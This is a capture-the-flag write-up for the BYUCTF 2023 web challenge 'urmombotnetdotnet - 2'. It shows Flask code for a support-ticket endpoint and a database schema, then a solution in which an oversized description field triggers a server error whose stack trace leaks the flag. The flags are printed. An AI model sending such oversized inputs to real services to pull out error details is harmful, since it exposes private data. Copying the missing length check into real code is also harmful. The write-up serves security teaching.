- Published on
BYUCTF 2023 – urmombotnetdotnet - 2
- Authors
- Name
- Lumy
urmombotnetdotnet - 2 (375 points)
During my databases class, my group and I decided we'd create a web app with the domain urmombotnetdotnet.com, and wrote the relevant code. At first glance, it looks pretty good! I'd say we were pretty thorough. But were we thorough enough??
Oh... we also forgot to make the front end :)
Table of Contents
Source code
# POST create a ticket
@app.route('/api/tickets', methods=['POST'])
@token_required
def post_create_ticket(session_data):
# ensure needed parameters are present
if (request.json is None) or ('description' not in request.json):
return jsonify({'message': 'Missing required parameters'}), 400
user_id = session_data["user_id"]
description = request.json['description']
timestamp = datetime.utcnow().isoformat()
# ensure parameters are integers
if type(description) is not str:
return jsonify({'message': 'Invalid parameter data'}), 400
# byuctf{fakeflag2}
# insert ticket into database
cur = mysql.connection.cursor()
cur.execute("INSERT INTO Support_Tickets (description, messages, time_stamp, user_id) VALUES (%s, %s, %s, %s)", (description, "", timestamp, user_id))
mysql.connection.commit()
ticket_id = cur.lastrowid
cur.close()
response = {"ticket_id": ticket_id, "description": description, "time_stamp": timestamp}
return jsonify(response), 200
Solution
Note : a token is required for this part, that can be retrieved after registration and login. The token is in the server response
From the /database/initial.sql file, we can see that there is a maximum length on description parameter :
CREATE TABLE Support_Tickets
(
Ticket_ID SERIAL NOT NULL,
Description VARCHAR(2048) NOT NULL,
Messages VARCHAR(2048) NOT NULL,
Time_stamp VARCHAR(256) NOT NULL,
User_ID BIGINT UNSIGNED NOT NULL,
PRIMARY KEY (Ticket_ID),
FOREIGN KEY (User_ID) REFERENCES User(User_ID)
);
Thus, inserting a value with more than 2048 chars will cause an Internal Server Error with a stacktrace leaking the flag.
POST /api/tickets HTTP/1.1
Host: 127.0.0.1:40010
...
Content-Type: application/json
Cookie: token=eyJhbG...
{
"description":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
}
Flag : byuctf{oof_remember_to_check_length_limit}